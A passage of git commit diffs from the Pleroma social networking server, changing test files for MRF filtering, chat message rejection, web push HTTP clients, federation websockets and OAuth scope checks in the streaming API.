insert(:user, actor_type: "Application", nickname: "user1") service = insert(:user, actor_type: "Service", nickname: "user2") -- cgit v1.2.3 From 9d77f4abf80f75559456cef06da1a0d3b3b4f7e2 Mon Sep 17 00:00:00 2001 From: stwf Date: Thu, 17 Sep 2020 12:32:40 -0400 Subject: adapt to new user factory behavior --- test/web/metadata/metadata_test.exs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'test') diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index 054844597..ca6cbe67f 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -16,7 +16,7 @@ defmodule Pleroma.Web.MetadataTest do end test "for local user" do - user = insert(:user) + user = insert(:user, discoverable: false) assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ "" @@ -40,7 +40,7 @@ defmodule Pleroma.Web.MetadataTest do test "search exclusion metadata is included" do clear_config([:instance, :public], false) - user = insert(:user, bio: "This is my secret fedi account bio") + user = insert(:user, bio: "This is my secret fedi account bio", discoverable: false) assert ~s() == Pleroma.Web.Metadata.build_tags(%{user: user}) -- cgit v1.2.3 From abf25e5d5254edc88a65610bf5a0fd7e52f545c3 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Sat, 12 Sep 2020 12:05:36 +0200 Subject: Create MRF.filter_pipeline to inject :object_data when present --- test/web/activity_pub/pipeline_test.exs | 16 ++++++++-------- .../pleroma_api/controllers/chat_controller_test.exs | 17 +++++++++++++++++ 2 files changed, 25 insertions(+), 8 deletions(-) (limited to 'test') diff --git a/test/web/activity_pub/pipeline_test.exs b/test/web/activity_pub/pipeline_test.exs index f2a231eaf..210a06563 100644 --- a/test/web/activity_pub/pipeline_test.exs +++ b/test/web/activity_pub/pipeline_test.exs @@ -26,7 +26,7 @@ defmodule Pleroma.Web.ActivityPub.PipelineTest do { Pleroma.Web.ActivityPub.MRF, [], - [filter: fn o -> {:ok, o} end] + [pipeline_filter: fn o, m -> {:ok, o, m} end] }, { Pleroma.Web.ActivityPub.ActivityPub, @@ -51,7 +51,7 @@ defmodule Pleroma.Web.ActivityPub.PipelineTest do Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.filter(activity)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) refute called(Pleroma.Web.Federator.publish(activity)) @@ -68,7 +68,7 @@ defmodule Pleroma.Web.ActivityPub.PipelineTest do { Pleroma.Web.ActivityPub.MRF, [], - [filter: fn o -> {:ok, o} end] + [pipeline_filter: fn o, m -> {:ok, o, m} end] }, { Pleroma.Web.ActivityPub.ActivityPub, @@ -93,7 +93,7 @@ defmodule Pleroma.Web.ActivityPub.PipelineTest do Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.filter(activity)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) assert_called(Pleroma.Web.Federator.publish(activity)) @@ -109,7 +109,7 @@ defmodule Pleroma.Web.ActivityPub.PipelineTest do { Pleroma.Web.ActivityPub.MRF, [], - [filter: fn o -> {:ok, o} end] + [pipeline_filter: fn o, m -> {:ok, o, m} end] }, { Pleroma.Web.ActivityPub.ActivityPub, @@ -131,7 +131,7 @@ defmodule Pleroma.Web.ActivityPub.PipelineTest do Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.filter(activity)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) end @@ -148,7 +148,7 @@ defmodule Pleroma.Web.ActivityPub.PipelineTest do { Pleroma.Web.ActivityPub.MRF, [], - [filter: fn o -> {:ok, o} end] + [pipeline_filter: fn o, m -> {:ok, o, m} end] }, { Pleroma.Web.ActivityPub.ActivityPub, @@ -170,7 +170,7 @@ defmodule Pleroma.Web.ActivityPub.PipelineTest do Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.filter(activity)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) end diff --git a/test/web/pleroma_api/controllers/chat_controller_test.exs b/test/web/pleroma_api/controllers/chat_controller_test.exs index 7be5fe09c..32c23e9d7 100644 --- a/test/web/pleroma_api/controllers/chat_controller_test.exs +++ b/test/web/pleroma_api/controllers/chat_controller_test.exs @@ -126,6 +126,23 @@ defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do assert result["attachment"] end + + test "gets MRF reason when rejected", %{conn: conn, user: user} do + clear_config([:mrf_keyword, :reject], ["GNO"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "GNO/Linux"}) + |> json_response_and_validate_schema(200) + + assert result == %{} + end end describe "DELETE /api/v1/pleroma/chats/:id/messages/:message_id" do -- cgit v1.2.3 From 7bf269fe836ded974d2187c6b36eba4ab185ff25 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Mon, 14 Sep 2020 14:07:22 +0200 Subject: Fix MRF reject for ChatMessage --- test/web/common_api/common_api_test.exs | 11 +++++++++++ test/web/pleroma_api/controllers/chat_controller_test.exs | 6 +++--- 2 files changed, 14 insertions(+), 3 deletions(-) (limited to 'test') diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index f5559f932..2eab64e8b 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -217,6 +217,17 @@ defmodule Pleroma.Web.CommonAPITest do assert message == :content_too_long end + + test "it reject messages via MRF" do + clear_config([:mrf_keyword, :reject], ["GNO"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + author = insert(:user) + recipient = insert(:user) + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + CommonAPI.post_chat_message(author, recipient, "GNO/Linux") + end end describe "unblocking" do diff --git a/test/web/pleroma_api/controllers/chat_controller_test.exs b/test/web/pleroma_api/controllers/chat_controller_test.exs index 32c23e9d7..44a78a738 100644 --- a/test/web/pleroma_api/controllers/chat_controller_test.exs +++ b/test/web/pleroma_api/controllers/chat_controller_test.exs @@ -100,7 +100,7 @@ defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do |> post("/api/v1/pleroma/chats/#{chat.id}/messages") |> json_response_and_validate_schema(400) - assert result + assert %{"error" => "no_content"} == result end test "it works with an attachment", %{conn: conn, user: user} do @@ -139,9 +139,9 @@ defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do conn |> put_req_header("content-type", "application/json") |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "GNO/Linux"}) - |> json_response_and_validate_schema(200) + |> json_response_and_validate_schema(422) - assert result == %{} + assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} == result end end -- cgit v1.2.3 From 226fa3e486e3ea9f82e8d3a7025244fdf11d14db Mon Sep 17 00:00:00 2001 From: Sergey Suprunenko Date: Thu, 17 Sep 2020 22:04:47 +0200 Subject: Make WebPushEncryption use Pleroma.HTTP as an HTTP adapter --- test/web/push/impl_test.exs | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) (limited to 'test') diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs index aeb5c1fbd..c7c17e156 100644 --- a/test/web/push/impl_test.exs +++ b/test/web/push/impl_test.exs @@ -12,7 +12,9 @@ defmodule Pleroma.Web.Push.ImplTest do alias Pleroma.Web.CommonAPI alias Pleroma.Web.Push.Impl alias Pleroma.Web.Push.Subscription + alias Pleroma.Web.WebPushHttpClientMock + import Mock import Pleroma.Factory setup do @@ -78,6 +80,22 @@ defmodule Pleroma.Web.Push.ImplTest do assert Impl.push_message(@message, @sub, @api_key, %Subscription{}) == :ok end + test_with_mock "uses WebPushHttpClientMock as an HTTP client", WebPushHttpClientMock, + post: fn _, _, _ -> {:ok, %{status_code: 200}} end do + Impl.push_message(@message, @sub, @api_key, %Subscription{}) + assert_called(WebPushHttpClientMock.post("https://example.com/example/1234", :_, :_)) + end + + test_with_mock "uses Pleroma.HTTP as an HTTP client", Pleroma.HTTP, + post: fn _, _, _ -> {:ok, %{status_code: 200}} end do + client = Application.get_env(:web_push_encryption, :http_client) + on_exit(fn -> Application.put_env(:web_push_encryption, :http_client, client) end) + Application.put_env(:web_push_encryption, :http_client, Pleroma.HTTP) + + Impl.push_message(@message, @sub, @api_key, %Subscription{}) + assert_called(Pleroma.HTTP.post("https://example.com/example/1234", :_, :_)) + end + @tag capture_log: true test "fail message sending" do assert Impl.push_message( -- cgit v1.2.3 From f2ef9735c52c648a03de4af41f19bb4ec857de03 Mon Sep 17 00:00:00 2001 From: Steven Fuchs Date: Fri, 18 Sep 2020 11:58:22 +0000 Subject: Federate data through persistent websocket connections --- test/web/fed_sockets/fed_registry_test.exs | 124 +++++++++++++++++++++++++++ test/web/fed_sockets/fetch_registry_test.exs | 67 +++++++++++++++ test/web/fed_sockets/socket_info_test.exs | 118 +++++++++++++++++++++++++ 3 files changed, 309 insertions(+) create mode 100644 test/web/fed_sockets/fed_registry_test.exs create mode 100644 test/web/fed_sockets/fetch_registry_test.exs create mode 100644 test/web/fed_sockets/socket_info_test.exs (limited to 'test') diff --git a/test/web/fed_sockets/fed_registry_test.exs b/test/web/fed_sockets/fed_registry_test.exs new file mode 100644 index 000000000..19ac874d6 --- /dev/null +++ b/test/web/fed_sockets/fed_registry_test.exs @@ -0,0 +1,124 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FedRegistryTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets + alias Pleroma.Web.FedSockets.FedRegistry + alias Pleroma.Web.FedSockets.SocketInfo + + @good_domain "http://good.domain" + @good_domain_origin "good.domain:80" + + setup do + start_supervised({Pleroma.Web.FedSockets.Supervisor, []}) + build_test_socket(@good_domain) + Process.sleep(10) + + :ok + end + + describe "add_fed_socket/1 without conflicting sockets" do + test "can be added" do + Process.sleep(10) + assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) + assert origin == "good.domain:80" + end + + test "multiple origins can be added" do + build_test_socket("http://anothergood.domain") + Process.sleep(10) + + assert {:ok, %SocketInfo{origin: origin_1}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert {:ok, %SocketInfo{origin: origin_2}} = + FedRegistry.get_fed_socket("anothergood.domain:80") + + assert origin_1 == "good.domain:80" + assert origin_2 == "anothergood.domain:80" + assert FedRegistry.list_all() |> Enum.count() == 2 + end + end + + describe "add_fed_socket/1 when duplicate sockets conflict" do + setup do + build_test_socket(@good_domain) + build_test_socket(@good_domain) + Process.sleep(10) + :ok + end + + test "will be ignored" do + assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + + assert FedRegistry.list_all() |> Enum.count() == 1 + end + + test "the newer process will be closed" do + pid_two = build_test_socket(@good_domain) + + assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + Process.sleep(10) + + refute Process.alive?(pid_two) + + assert FedRegistry.list_all() |> Enum.count() == 1 + end + end + + describe "get_fed_socket/1" do + test "returns missing for unknown hosts" do + assert {:error, :missing} = FedRegistry.get_fed_socket("not_a_dmoain") + end + + test "returns rejected for hosts previously rejected" do + "rejected.domain:80" + |> FedSockets.uri_for_origin() + |> FedRegistry.set_host_rejected() + + assert {:error, :rejected} = FedRegistry.get_fed_socket("rejected.domain:80") + end + + test "can retrieve a previously added SocketInfo" do + build_test_socket(@good_domain) + Process.sleep(10) + assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) + assert origin == "good.domain:80" + end + + test "removes references to SocketInfos when the process crashes" do + assert {:ok, %SocketInfo{origin: origin, pid: pid}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + + Process.exit(pid, :testing) + Process.sleep(100) + assert {:error, :missing} = FedRegistry.get_fed_socket(@good_domain_origin) + end + end + + def build_test_socket(uri) do + Kernel.spawn(fn -> fed_socket_almost(uri) end) + end + + def fed_socket_almost(origin) do + FedRegistry.add_fed_socket(origin) + + receive do + :close -> + :ok + after + 5_000 -> :timeout + end + end +end diff --git a/test/web/fed_sockets/fetch_registry_test.exs b/test/web/fed_sockets/fetch_registry_test.exs new file mode 100644 index 000000000..7bd2d995a --- /dev/null +++ b/test/web/fed_sockets/fetch_registry_test.exs @@ -0,0 +1,67 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FetchRegistryTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets.FetchRegistry + alias Pleroma.Web.FedSockets.FetchRegistry.FetchRegistryData + + @json_message "hello" + @json_reply "hello back" + + setup do + start_supervised( + {Pleroma.Web.FedSockets.Supervisor, + [ + ping_interval: 8, + connection_duration: 15, + rejection_duration: 5, + fed_socket_fetches: [default: 10, interval: 10] + ]} + ) + + :ok + end + + test "fetches can be stored" do + uuid = FetchRegistry.register_fetch(@json_message) + + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + end + + test "fetches can return" do + uuid = FetchRegistry.register_fetch(@json_message) + task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) + + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + Task.await(task) + + assert {:ok, %FetchRegistryData{received_json: received_json}} = + FetchRegistry.check_fetch(uuid) + + assert received_json == @json_reply + end + + test "fetches are deleted once popped from stack" do + uuid = FetchRegistry.register_fetch(@json_message) + task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) + Task.await(task) + + assert {:ok, %FetchRegistryData{received_json: received_json}} = + FetchRegistry.check_fetch(uuid) + + assert received_json == @json_reply + assert {:ok, @json_reply} = FetchRegistry.pop_fetch(uuid) + + assert {:error, :missing} = FetchRegistry.check_fetch(uuid) + end + + test "fetches can time out" do + uuid = FetchRegistry.register_fetch(@json_message) + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + Process.sleep(500) + assert {:error, :missing} = FetchRegistry.check_fetch(uuid) + end +end diff --git a/test/web/fed_sockets/socket_info_test.exs b/test/web/fed_sockets/socket_info_test.exs new file mode 100644 index 000000000..db3d6edcd --- /dev/null +++ b/test/web/fed_sockets/socket_info_test.exs @@ -0,0 +1,118 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.SocketInfoTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets + alias Pleroma.Web.FedSockets.SocketInfo + + describe "uri_for_origin" do + test "provides the fed_socket URL given the origin information" do + endpoint = "example.com:4000" + assert FedSockets.uri_for_origin(endpoint) =~ "ws://" + assert FedSockets.uri_for_origin(endpoint) =~ endpoint + end + end + + describe "origin" do + test "will provide the origin field given a url" do + endpoint = "example.com:4000" + assert SocketInfo.origin("ws://#{endpoint}") == endpoint + assert SocketInfo.origin("http://#{endpoint}") == endpoint + assert SocketInfo.origin("https://#{endpoint}") == endpoint + end + + test "will proide the origin field given a uri" do + endpoint = "example.com:4000" + uri = URI.parse("http://#{endpoint}") + + assert SocketInfo.origin(uri) == endpoint + end + end + + describe "touch" do + test "will update the TTL" do + endpoint = "example.com:4000" + socket = SocketInfo.build("ws://#{endpoint}") + Process.sleep(2) + touched_socket = SocketInfo.touch(socket) + + assert socket.connected_until < touched_socket.connected_until + end + end + + describe "expired?" do + setup do + start_supervised( + {Pleroma.Web.FedSockets.Supervisor, + [ + ping_interval: 8, + connection_duration: 5, + rejection_duration: 5, + fed_socket_rejections: [lazy: true] + ]} + ) + + :ok + end + + test "tests if the TTL is exceeded" do + endpoint = "example.com:4000" + socket = SocketInfo.build("ws://#{endpoint}") + refute SocketInfo.expired?(socket) + Process.sleep(10) + + assert SocketInfo.expired?(socket) + end + end + + describe "creating outgoing connection records" do + test "can be passed a string" do + assert %{conn_pid: :pid, origin: _origin} = SocketInfo.build("example.com:4000", :pid) + end + + test "can be passed a URI" do + uri = URI.parse("http://example.com:4000") + assert %{conn_pid: :pid, origin: origin} = SocketInfo.build(uri, :pid) + assert origin =~ "example.com:4000" + end + + test "will include the port number" do + assert %{conn_pid: :pid, origin: origin} = SocketInfo.build("http://example.com:4000", :pid) + + assert origin =~ ":4000" + end + + test "will provide the port if missing" do + assert %{conn_pid: :pid, origin: "example.com:80"} = + SocketInfo.build("http://example.com", :pid) + + assert %{conn_pid: :pid, origin: "example.com:443"} = + SocketInfo.build("https://example.com", :pid) + end + end + + describe "creating incoming connection records" do + test "can be passed a string" do + assert %{pid: _, origin: _origin} = SocketInfo.build("example.com:4000") + end + + test "can be passed a URI" do + uri = URI.parse("example.com:4000") + assert %{pid: _, origin: _origin} = SocketInfo.build(uri) + end + + test "will include the port number" do + assert %{pid: _, origin: origin} = SocketInfo.build("http://example.com:4000") + + assert origin =~ ":4000" + end + + test "will provide the port if missing" do + assert %{pid: _, origin: "example.com:80"} = SocketInfo.build("http://example.com") + assert %{pid: _, origin: "example.com:443"} = SocketInfo.build("https://example.com") + end + end +end -- cgit v1.2.3 From 60b025b782eb27b86a791451149b6690431371dc Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Sat, 19 Sep 2020 19:16:55 +0300 Subject: [#2074] OAuth scope checking in Streaming API. --- test/integration/mastodon_websocket_test.exs | 2 +- test/notification_test.exs | 8 +- test/support/data_case.ex | 15 + test/web/streamer/streamer_test.exs | 394 +++++++++++++++++---------- 4 files changed, 266 insertions(+), 153 deletions(-) (limited to 'test') diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs index 76fbc8bda..0f2e6cc2b 100644 --- a/test/integration/mastodon_websocket_test.exs +++ b/test/integration/mastodon_websocket_test.exs @@ -78,7 +78,7 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do Pleroma.Repo.insert( OAuth.App.register_changeset(%OAuth.App{}, %{ client_name: "client", - scopes: ["scope"], + scopes: ["read"], redirect_uris: "url" }) ) diff --git a/test/notification_test.exs b/test/notification_test.exs index a09b08675..f2e0f0b0d 100644 --- a/test/notification_test.exs +++ b/test/notification_test.exs @@ -179,17 +179,19 @@ defmodule Pleroma.NotificationTest do describe "create_notification" do @tag needs_streamer: true test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do - user = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) task = Task.async(fn -> - Streamer.get_topic_and_add_socket("user", user) + {:ok, _topic} = Streamer.get_topic_and_add_socket("user", user, oauth_token) assert_receive {:render_with_user, _, _, _}, 4_000 end) task_user_notification = Task.async(fn -> - Streamer.get_topic_and_add_socket("user:notification", user) + {:ok, _topic} = + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + assert_receive {:render_with_user, _, _, _}, 4_000 end) diff --git a/test/support/data_case.ex b/test/support/data_case.ex index ba8848952..d5456521c 100644 --- a/test/support/data_case.ex +++ b/test/support/data_case.ex @@ -27,6 +27,21 @@ defmodule Pleroma.DataCase do import Ecto.Query import Pleroma.DataCase use Pleroma.Tests.Helpers + + # Sets up OAuth access with specified scopes + defp oauth_access(scopes, opts \\ []) do + user = + Keyword.get_lazy(opts, :user, fn -> + Pleroma.Factory.insert(:user) + end) + + token = + Keyword.get_lazy(opts, :oauth_token, fn -> + Pleroma.Factory.insert(:oauth_token, user: user, scopes: scopes) + end) + + %{user: user, token: token} + end end end diff --git a/test/web/streamer/streamer_test.exs b/test/web/streamer/streamer_test.exs index d56d74464..185724a9f 100644 --- a/test/web/streamer/streamer_test.exs +++ b/test/web/streamer/streamer_test.exs @@ -21,92 +21,148 @@ defmodule Pleroma.Web.StreamerTest do setup do: clear_config([:instance, :skip_thread_containment]) - describe "get_topic without an user" do + describe "get_topic/_ (unauthenticated)" do test "allows public" do - assert {:ok, "public"} = Streamer.get_topic("public", nil) - assert {:ok, "public:local"} = Streamer.get_topic("public:local", nil) - assert {:ok, "public:media"} = Streamer.get_topic("public:media", nil) - assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", nil) + assert {:ok, "public"} = Streamer.get_topic("public", nil, nil) + assert {:ok, "public:local"} = Streamer.get_topic("public:local", nil, nil) + assert {:ok, "public:media"} = Streamer.get_topic("public:media", nil, nil) + assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", nil, nil) end test "allows hashtag streams" do - assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", nil, %{"tag" => "cofe"}) + assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", nil, nil, %{"tag" => "cofe"}) end test "disallows user streams" do - assert {:error, _} = Streamer.get_topic("user", nil) - assert {:error, _} = Streamer.get_topic("user:notification", nil) - assert {:error, _} = Streamer.get_topic("direct", nil) + assert {:error, _} = Streamer.get_topic("user", nil, nil) + assert {:error, _} = Streamer.get_topic("user:notification", nil, nil) + assert {:error, _} = Streamer.get_topic("direct", nil, nil) end test "disallows list streams" do - assert {:error, _} = Streamer.get_topic("list", nil, %{"list" => 42}) + assert {:error, _} = Streamer.get_topic("list", nil, nil, %{"list" => 42}) end end - describe "get_topic with an user" do - setup do - user = insert(:user) - {:ok, %{user: user}} - end + describe "get_topic/_ (authenticated)" do + setup do: oauth_access(["read"]) + + test "allows public streams (regardless of OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + with oauth_token <- [nil, read_oauth_token] do + assert {:ok, "public"} = Streamer.get_topic("public", user, oauth_token) + assert {:ok, "public:local"} = Streamer.get_topic("public:local", user, oauth_token) + assert {:ok, "public:media"} = Streamer.get_topic("public:media", user, oauth_token) - test "allows public streams", %{user: user} do - assert {:ok, "public"} = Streamer.get_topic("public", user) - assert {:ok, "public:local"} = Streamer.get_topic("public:local", user) - assert {:ok, "public:media"} = Streamer.get_topic("public:media", user) - assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", user) + assert {:ok, "public:local:media"} = + Streamer.get_topic("public:local:media", user, oauth_token) + end end - test "allows user streams", %{user: user} do + test "allows user streams (with proper OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + %{token: read_notifications_token} = oauth_access(["read:notifications"], user: user) + %{token: read_statuses_token} = oauth_access(["read:statuses"], user: user) + %{token: badly_scoped_token} = oauth_access(["irrelevant:scope"], user: user) + expected_user_topic = "user:#{user.id}" - expected_notif_topic = "user:notification:#{user.id}" + expected_notification_topic = "user:notification:#{user.id}" expected_direct_topic = "direct:#{user.id}" - assert {:ok, ^expected_user_topic} = Streamer.get_topic("user", user) - assert {:ok, ^expected_notif_topic} = Streamer.get_topic("user:notification", user) - assert {:ok, ^expected_direct_topic} = Streamer.get_topic("direct", user) + expected_pleroma_chat_topic = "user:pleroma_chat:#{user.id}" + + for valid_user_token <- [read_oauth_token, read_statuses_token] do + assert {:ok, ^expected_user_topic} = Streamer.get_topic("user", user, valid_user_token) + + assert {:ok, ^expected_direct_topic} = + Streamer.get_topic("direct", user, valid_user_token) + + assert {:ok, ^expected_pleroma_chat_topic} = + Streamer.get_topic("user:pleroma_chat", user, valid_user_token) + end + + for invalid_user_token <- [read_notifications_token, badly_scoped_token], + user_topic <- ["user", "direct", "user:pleroma_chat"] do + assert {:error, :unauthorized} = Streamer.get_topic(user_topic, user, invalid_user_token) + end + + for valid_notification_token <- [read_oauth_token, read_notifications_token] do + assert {:ok, ^expected_notification_topic} = + Streamer.get_topic("user:notification", user, valid_notification_token) + end + + for invalid_notification_token <- [read_statuses_token, badly_scoped_token] do + assert {:error, :unauthorized} = + Streamer.get_topic("user:notification", user, invalid_notification_token) + end end - test "allows hashtag streams", %{user: user} do - assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", user, %{"tag" => "cofe"}) + test "allows hashtag streams (regardless of OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + for oauth_token <- [nil, read_oauth_token] do + assert {:ok, "hashtag:cofe"} = + Streamer.get_topic("hashtag", user, oauth_token, %{"tag" => "cofe"}) + end end - test "disallows registering to an user stream", %{user: user} do + test "disallows registering to another user's stream", %{user: user, token: read_oauth_token} do another_user = insert(:user) - assert {:error, _} = Streamer.get_topic("user:#{another_user.id}", user) - assert {:error, _} = Streamer.get_topic("user:notification:#{another_user.id}", user) - assert {:error, _} = Streamer.get_topic("direct:#{another_user.id}", user) + assert {:error, _} = Streamer.get_topic("user:#{another_user.id}", user, read_oauth_token) + + assert {:error, _} = + Streamer.get_topic("user:notification:#{another_user.id}", user, read_oauth_token) + + assert {:error, _} = Streamer.get_topic("direct:#{another_user.id}", user, read_oauth_token) end - test "allows list stream that are owned by the user", %{user: user} do + test "allows list stream that are owned by the user (with `read` or `read:lists` scopes)", %{ + user: user, + token: read_oauth_token + } do + %{token: read_lists_token} = oauth_access(["read:lists"], user: user) + %{token: invalid_token} = oauth_access(["irrelevant:scope"], user: user) {:ok, list} = List.create("Test", user) - assert {:error, _} = Streamer.get_topic("list:#{list.id}", user) - assert {:ok, _} = Streamer.get_topic("list", user, %{"list" => list.id}) + + assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, read_oauth_token) + + for valid_token <- [read_oauth_token, read_lists_token] do + assert {:ok, _} = Streamer.get_topic("list", user, valid_token, %{"list" => list.id}) + end + + assert {:error, _} = Streamer.get_topic("list", user, invalid_token, %{"list" => list.id}) end - test "disallows list stream that are not owned by the user", %{user: user} do + test "disallows list stream that are not owned by the user", %{user: user, token: oauth_token} do another_user = insert(:user) {:ok, list} = List.create("Test", another_user) - assert {:error, _} = Streamer.get_topic("list:#{list.id}", user) - assert {:error, _} = Streamer.get_topic("list", user, %{"list" => list.id}) + + assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, oauth_token) + assert {:error, _} = Streamer.get_topic("list", user, oauth_token, %{"list" => list.id}) end end describe "user streams" do setup do - user = insert(:user) + %{user: user, token: token} = oauth_access(["read"]) notify = insert(:notification, user: user, activity: build(:note_activity)) - {:ok, %{user: user, notify: notify}} + {:ok, %{user: user, notify: notify, token: token}} end - test "it streams the user's post in the 'user' stream", %{user: user} do - Streamer.get_topic_and_add_socket("user", user) + test "it streams the user's post in the 'user' stream", %{user: user, token: oauth_token} do + Streamer.get_topic_and_add_socket("user", user, oauth_token) {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + assert_receive {:render_with_user, _, _, ^activity} refute Streamer.filtered_by_user?(user, activity) end - test "it streams boosts of the user in the 'user' stream", %{user: user} do - Streamer.get_topic_and_add_socket("user", user) + test "it streams boosts of the user in the 'user' stream", %{user: user, token: oauth_token} do + Streamer.get_topic_and_add_socket("user", user, oauth_token) other_user = insert(:user) {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) @@ -117,9 +173,10 @@ defmodule Pleroma.Web.StreamerTest do end test "it does not stream announces of the user's own posts in the 'user' stream", %{ - user: user + user: user, + token: oauth_token } do - Streamer.get_topic_and_add_socket("user", user) + Streamer.get_topic_and_add_socket("user", user, oauth_token) other_user = insert(:user) {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) @@ -129,9 +186,10 @@ defmodule Pleroma.Web.StreamerTest do end test "it does stream notifications announces of the user's own posts in the 'user' stream", %{ - user: user + user: user, + token: oauth_token } do - Streamer.get_topic_and_add_socket("user", user) + Streamer.get_topic_and_add_socket("user", user, oauth_token) other_user = insert(:user) {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) @@ -145,8 +203,11 @@ defmodule Pleroma.Web.StreamerTest do refute Streamer.filtered_by_user?(user, notification) end - test "it streams boosts of mastodon user in the 'user' stream", %{user: user} do - Streamer.get_topic_and_add_socket("user", user) + test "it streams boosts of mastodon user in the 'user' stream", %{ + user: user, + token: oauth_token + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) other_user = insert(:user) {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) @@ -164,21 +225,34 @@ defmodule Pleroma.Web.StreamerTest do refute Streamer.filtered_by_user?(user, announce) end - test "it sends notify to in the 'user' stream", %{user: user, notify: notify} do - Streamer.get_topic_and_add_socket("user", user) + test "it sends notify to in the 'user' stream", %{ + user: user, + token: oauth_token, + notify: notify + } do + 